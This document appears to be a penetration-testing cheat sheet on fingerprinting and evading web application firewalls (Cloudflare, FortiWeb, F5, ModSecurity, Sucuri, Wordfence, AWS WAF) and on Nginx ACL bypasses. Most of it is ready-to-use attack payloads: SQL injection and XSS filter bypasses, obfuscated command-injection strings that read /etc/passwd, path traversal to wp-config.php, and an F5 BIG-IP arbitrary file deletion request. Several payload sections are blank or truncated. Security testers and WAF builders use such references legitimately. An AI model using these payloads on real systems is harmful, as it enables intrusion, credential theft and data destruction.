# WAF Detection and Bypass ## Detection Techniques: To identify WAFs, we need to (dummy) provoke it. 1. Make a normal `GET` request from a browser, intercept and record response headers (specifically cookies). 2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included). 3. Make `GET` requests to random open ports and grab banners which might expose the WAFs identity. 4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`. 5. Inject noisy payloads like `` into search bars, contact forms and other input fields. 6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL. 7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter. 8. Make GET requests with outdated protocols like `HTTP/0.9` (HTTP/0.9 does not support POST type queries). 9. Many a times, the WAF varies the Server header upon different types of interactions. 10. Drop Action Technique - Send a raw crafted `FIN/RST` packet to server and identify response. > Tip: This method could be easily achieved with tools like [HPing3](http://www.hping.org/) or [Scapy](https://scapy.net/). 11. Side Channel Attacks - Examine the timing behaviour of the request and response content. > Tip: More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/). ## WAF Fingerprints | WAF | Fingerprints | | --- | --- | | ArvanCloud | • **Detectability:** Moderate • **Detection:** `Server` header contains `ArvanCloud` keyword. | | ASP.NET Generic | • **Detectability:** Easy • **Detection:** Response headers may contain `X-ASPNET-Version` header value. **Blocked response page content may contain:** •`This generic 403 error means that the authenticated user is not authorized to use the requested resource.` •`Error Code 0x00000000<` keyword. | | BIG-IP ASM | • **Detectability:** Moderate • **Detection:** Response headers may contain `BigIP` or `F5` keyword value. Response header fields may contain `X-WA-Info` header. Response headers might have jumbled `X-Cnection` field value. | | Cloudflare | • **Detectability:** Easy • **Detection:** Response headers might have `cf-ray` field value. `Server` header field has value `cloudflare`. `Set-Cookie` response headers have `__cfuid=` cookie field. Page content might have `Attention Required!` or `Cloudflare Ray ID:`. Page content may contain `DDoS protection by Cloudflareas` text. You may encounter `CLOUDFLARE_ERROR_500S_BOX` upon hitting invalid URLs. | | FortiWeb | • **Detectability:** Moderate • **Detection:** Response headers contain `FORTIWAFSID=` on malicious requests. Response headers contain cookie name `cookiesession1=` **Blocked response page contains:** Reference to `.fgd_icon` image icon. `Server Unavailable!` as heading. `Server unavailable. Please visit later.` as text.| ## Evasion Techniques ### Fuzzing/Bruteforcing: Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists: * Wordlists specifically for fuzzing * [Seclists/Fuzzing.](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing) * [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) * [Other Payloads](https://github.com/foospidy/payloads) **Technique:** * Load up your wordlist into fuzzer and start the bruteforce. * Record/log all responses from the different payloads fuzzed. * Use random user-agents, ranging from Chrome Desktop to iPhone browser. * If blocking noticed, increase fuzz latency (eg. 2-4 secs). * Always use proxychains, since chances are real that your IP gets blocked. ### Blacklisting Detection/Bypass **SQL Injection** ```bash # Keywords Filtered: and, or, union Probable Regex: preg_match('/(and|or|union)/i', $id) Blocked Attempt: union select user, password from users Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin' # Keywords Filtered: and, or, union, where Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin' Bypassed Injection: 1 || (select user from users limit 1) = 'admin' # Keywords Filtered: and, or, union, where, limit Blocked Attempt: 1 || (select user from users limit 1) = 'admin' Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin' # Keywords Filtered: and, or, union Probable Regex: preg_match('/(and|or|union)/i', $id) Blocked Attempt: union select user, password from users Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin' # Keywords Filtered: and, or, union, where Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin' Bypassed Injection: 1 || (select user from users limit 1) = 'admin' # Keywords Filtered: and, or, union, where, limit Blocked Attempt: 1 || (select user from users limit 1) = 'admin' Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin' ``` ## Obfuscation **1. Case Toggling** ```bash # Standard # Bypassed # Standard SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME' # Bypassed sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME' ``` **2. URL Encoding** ```bash # Blocked "/oNloaD=confirm()// # Bypassed %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F # Blocked uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12) # Bypassed uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29 ``` **3. Unicode Normalization** ```bash # Standard # Obfuscated # Blocked /?redir=http://google.com # Bypassed /?redir=http://google。com (Unicode alternative) # Blocked x # Bypassed <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative) # Standard ../../etc/passwd # Obfuscated %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd ``` **4. HTML Representation** ```bash # Standard "> # Encoded "><img src=x onerror=confirm()> (General form) # Encoded "><img src=x onerror=confirm()> (Numeric reference) ``` **5. Using Comments** ```bash # Blocked # Bypassed # Blocked /?id=1+union+select+1,2,3-- # Bypassed /?id=1+un/**/ion+sel/**/ect+1,2,3-- ``` ## Cloudflare ### XSS Bypass ```javascript test xss'"> 1'"> X` <--` --!> javascript:{alert`0`} H#x // RCE Payload Detection Bypass cat$u+/etc$u/passwd$u /bin$u/bash$u ";cat+/etc/passwd+# ``` ## Fortinet Fortiweb ```bash # pcre_expression unvaidated XSS /waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C /waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0 # CSP Bypass # POST Type Query POST //login-app.aspx HTTP/1.1 Host: User-Agent: Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: var1=datavar1&var2=datavar12&pad= # GET Type Query http:///path?var1=vardata1&var2=vardata2&pad= ``` ## F5 ASM ```javascript # XSS Bypass "/>a ``` ## F5 BIG-IP ```javascript // XSS Bypass Right-Click Here Right-Click Here Right-Click Here ]> &e; // Directory Traversal // Read Arbitrary File /tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd // Delete Arbitrary File POST /tmui/Control/form HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd Content-Type: application/x-www-form-urlencoded _form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete ``` ## ModSecurity ```javascript // XSS Bypass for CRS 3.2 // RCE Payloads Detection Bypass for PL3 ;+$u+cat+/etc$u/passwd$u // RCE Payloads Detection Bypass for PL2 ;+$u+cat+/etc$u/passwd+\# // RCE Payloads for PL1 and PL2 /???/??t+/???/??ss?? // SQLi Bypass 0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user 1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min') 1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*- amUserId=1 union select username,password,3,4 from users %0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201 1%0bAND(SELECT%0b1%20FROM%20mysql.x) %40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29 %0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201 ``` ## Sucuri ```javascript // XSS Bypass (POST Only) // Smuggling RCE Payloads /???/??t+/???/??ss?? // Obfuscating RCE Payloads ;+cat+/e'tc/pass'wd c\\a\\t+/et\\c/pas\\swd // XSS Bypass "> // XSS Bypass data:text/html, ``` ## Wordfence ```javascript // XSS Bypass // XSS Bypass click // HTML Injection http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php // XSS Exploit Wordfence Security XSS exploit (C) 2012 MustLive. http://websecurity.com.ua // Other XSS Bypasses >" >> ``` ## Apache Generic ```javascript // Writing method type in lowercase get /login HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT) ``` ## IIS Generic ```javascript // Tabs before method GET /login.php HTTP/1.1 Host: favoritewaf.com User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT) ``` # Bypassing Nginx ACL Rules Nginx restriction example: ```bash location = /admin { deny all; } location = /admin/ { deny all; } ``` ## NodeJS ![nodejs](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/8bd4e562-49e4-426f-aa27-353e9288b9cc) * As Nginx includes the character `\xa0` as part of the pathname, the ACL rule for the `/admin` URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend; * When the URI `/admin\x0a` is received by the Node.js server, the character `\xa0` will be removed, allowing successful retrieval of the `/admin` endpoint. | Nginx Version | Node.js Bypass Characters | | --- | --- | | 1.22.0 | `\xA0` | | 1.21.6 | `\xA0` | | 1.20.2 | `\xA0`, `\x09`, `\x0C` | | 1.18.0 | `\xA0`, `\x09`, `\x0C` | | 1.16.1 | `\xA0`, `\x09`, `\x0C` | ## Flask Flask removes the characters `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B`, and `\x09` from the URL path, but NGINX doesn't. ![flask](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/bf3267d0-9869-4bbf-a327-87fd7e5a101a) | Nginx Version | Flask Bypass Characters | | --- | --- | | 1.22.0 | `\x85`, `\xA0` | | 1.21.6 | `\x85`, `\xA0` | | 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | | 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | | 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` | ## Spring Boot Below, you will find a demonstration of how ACL protection can be circumvented by adding the character `\x09` or `\t` at the end of the pathname: ![spring](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/415e6a60-2be7-4af0-8513-e27cf8df2329) | Nginx Version | Spring Boot Bypass Characters | | --- | --- | | 1.22.0 | `;` | | 1.21.6 | `;` | | 1.20.2 | `\x09`, `;` | | 1.18.0 | `\x09`, `;` | | 1.16.1 | `\x09`, `;` | ## PHP-FPM Let's consider the following Nginx FPM configuration: ```bash location = /admin.php { deny all; } location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php8.1-fpm.sock; } ``` It's possible to bypass it accessing /admin.php/index.php: ![php](https://github.com/Mehdi0x90/Web_Hacking/assets/17106836/24ef2f4b-1cf4-46e7-975b-ef0135043326) ## How to prevent To prevent these issues, you must use the ~ expression Instead of the = expression on Nginx ACL rules, for example: COPYCOPY ```bash location ~* ^/admin { deny all; } ``` ## Bypassing AWS WAF ACL With Line Folding It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand `X-Query` header contains a **sql injection payload** while the node server behind will: ```html GET / HTTP/1.1\r\n Host: target.com\r\n X-Query: Value\r\n \t' or '1'='1' -- \r\n Connection: close\r\n \r\n ``` * [References](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) ## Tools * [GoTestWAF](https://github.com/wallarm/gotestwaf) - A tool to test a WAF's detection logic and bypasses